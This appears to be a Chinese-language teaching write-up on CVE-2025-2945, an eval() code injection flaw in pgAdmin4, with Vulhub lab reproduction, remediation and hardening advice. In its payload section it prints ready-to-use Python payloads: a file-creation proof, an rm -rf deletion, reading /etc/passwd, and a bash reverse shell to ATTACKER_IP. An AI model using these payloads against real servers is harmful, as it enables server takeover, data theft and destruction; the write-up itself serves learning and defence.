CVE-2025-2945：pgAdmin4 认证后远程代码执行漏洞教学文档

1. 漏洞概述

漏洞编号：CVE-2025-2945

漏洞名称：pgAdmin4 认证后远程代码执行漏洞

漏洞类型：不安全反序列化 / 代码注入

威胁等级：高危 (High) / 严重 (Critical)

受影响版本：pgAdmin4 版本 <= 9.1

修复版本：pgAdmin4 >= 9.2

前置条件：攻击者需要拥有一个有效的 pgAdmin4 用户账户（即经过身份验证）。

2. 组件介绍

pgAdmin4 是一个流行且功能丰富的 PostgreSQL 开源管理和开发平台。它提供了一个基于 Web 的图形化界面，允许数据库管理员和开发人员轻松地管理 PostgreSQL 数据库实例，执行 SQL 查询，管理数据库对象等，被广泛使用。

3. 漏洞详细描述

该漏洞的本质是代码注入，根源在于 pgAdmin4 应用程序对用户输入的处理不当。具体来说，漏洞存在于两个特定的 POST 请求接口中：

1. SQL 查询编辑器下载功能：接口路径为 /sqleditor/query_tool/download
2. 云部署模块：接口路径为 /cloud/deploy

在这两个接口的请求处理逻辑中，应用程序将用户可控的请求参数（query_commited 和 high_availability）未经过任何安全过滤或验证，直接传递给了 Python 内置的危险函数 eval()。

eval() 函数的作用：该函数会将其接收到的字符串参数当作有效的 Python 代码来执行。由于攻击者可以控制传入的参数，他们就可以构造恶意的 Python 代码字符串，从而在运行 pgAdmin4 服务的服务器上以该服务进程的权限（通常是较高的权限）执行任意系统命令。

4. 漏洞复现与环境搭建

4.1 环境准备

为了安全地学习和验证此漏洞，建议在隔离的虚拟机或 Docker 环境中进行。

1. 获取漏洞环境：可以使用 Vulhub 这类开源漏洞靶场项目。
2. 定位漏洞环境：进入 Vulhub 项目目录，找到 pgadmin/CVE-2025-2945 相关的文件夹。
3. 启动靶机：根据 Vulhub 的说明文档，使用 docker-compose up -d 命令启动包含漏洞版本的 pgAdmin4 容器。

4.2 访问与认证

1. 启动成功后，Vulhub 会提示访问的 IP 地址和端口号，例如 http://192.168.1.10:8080。
2. 使用浏览器访问该地址，会看到 pgAdmin4 的登录界面。
3. 你需要使用预设的或自己配置的账号密码进行登录。成功登录是触发该漏洞的必要前提。

4.3 利用漏洞执行命令

登录后，攻击者可以利用公开的 Expolit (EXP) 脚本向目标发送恶意构造的 POST 请求。

漏洞验证步骤：

1. 编写 EXP 脚本：创建一个 Python 脚本，使用 requests 库来发送 POST 请求。脚本需要先进行登录，获取并维护会话 Cookie。
2. 构造恶意载荷：以创建文件为例，向 /sqleditor/query_tool/download 接口发送 POST 请求，在 query_commited 参数中填入以下代码：

   __import__('os').system('touch /tmp/hack.txt')
   

   这段代码会调用操作系统命令，在服务器的 /tmp 目录下创建一个名为 hack.txt 的空文件。
3. 执行 EXP 脚本：运行编写好的脚本。
4. 验证执行结果：进入运行 pgAdmin4 的 Docker 容器或服务器，检查 /tmp 目录下是否成功创建了 hack.txt 文件。如果文件存在，则证明远程代码执行成功。

5. 漏洞技术深度分析

5.1 漏洞触发点

• 危险函数：eval()
• 可控参数：
  • query_commited （位于 /sqleditor/query_tool/download 接口）
  • high_availability （位于 /cloud/deploy 接口）
• 攻击流程：用户输入 -> 未经处理 -> eval() 执行 -> 系统命令执行

5.2 攻击载荷分析

攻击者可以构造多种危险的载荷来实现不同目的：

• 文件操作：

  # 删除重要文件（破坏性操作，谨慎使用）
  __import__('os').system('rm -rf /important/files')
  
  # 查看系统敏感信息
  __import__('os').system('cat /etc/passwd')
  

• 获取反向 Shell（最高危）：
  这是最危险的攻击方式，它能让攻击者获得一个交互式的命令行 shell，完全控制服务器。

  __import__('subprocess').run(['bash', '-c', "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"])
  

  解释：

  • ATTACKER_IP：替换为攻击者自己服务器的 IP 地址。
  • ATTACKER_PORT：替换为攻击者服务器上监听的端口。
  • 执行该命令后，受害服务器会主动向攻击者的机器建立一个 TCP 连接，并将 bash shell 的标准输入、输出和错误流重定向到该网络连接上。

5.3 修复方案

官方在 pgAdmin4 9.2 版本中修复了此漏洞。修复方法通常是：

1. 移除 eval()：从根本上避免使用不安全的函数，寻找功能相同的安全替代方案。
2. 严格输入验证：如果必须使用动态逻辑，应对用户输入进行严格的白名单验证，只允许预期的、安全的字符和结构。
3. 使用安全函数：例如，对于将字符串转换为字典或元组等需求，应使用 ast.literal_eval() 等更安全的函数，它只能评估字面量数据结构，而不能执行任意代码。

6. 总结与防护建议

总结

CVE-2025-2945 是一个典型的“认证后”代码注入漏洞。其危害性极高，因为一旦攻击者获得了一个低权限的应用程序账户（例如通过钓鱼、弱口令爆破等方式），就可以直接提升权限到服务器系统层面，导致数据泄露、服务中断乃至整个服务器被控。

给系统管理员的防护建议

1. 立即升级：如果正在使用 pgAdmin4，请立即检查版本并升级到 9.2 或更高版本。这是最直接有效的防护措施。
2. 最小权限原则：运行 pgAdmin4 的服务进程应使用非 root 的低权限用户，以限制漏洞成功利用后造成的破坏范围。
3. 网络隔离：将 pgAdmin4 管理界面限制在内网访问，或通过 VPN 访问，避免直接暴露在公网。
4. 强密码策略：对所有 pgAdmin4 用户账户实施强密码策略，防止攻击者通过爆破等方式轻易获得认证凭证。
5. 定期安全审计：定期检查系统日志和 pgAdmin4 日志，监控可疑活动。

给开发者的启示

1. 永远不要信任用户输入：对所有用户输入的数据都必须进行严格的验证和过滤。
2. 避免使用危险函数：如 eval()、exec()、pickle.loads() 等，除非有绝对必要且已做好万无一失的安全措施。
3. 代码安全审计：在代码开发和安全测试阶段，应重点关注用户输入流入高风险函数的路径。

免责声明：本文档仅用于网络安全教学和研究目的。请勿将文中所述技术用于任何非法或未经授权的测试活动中。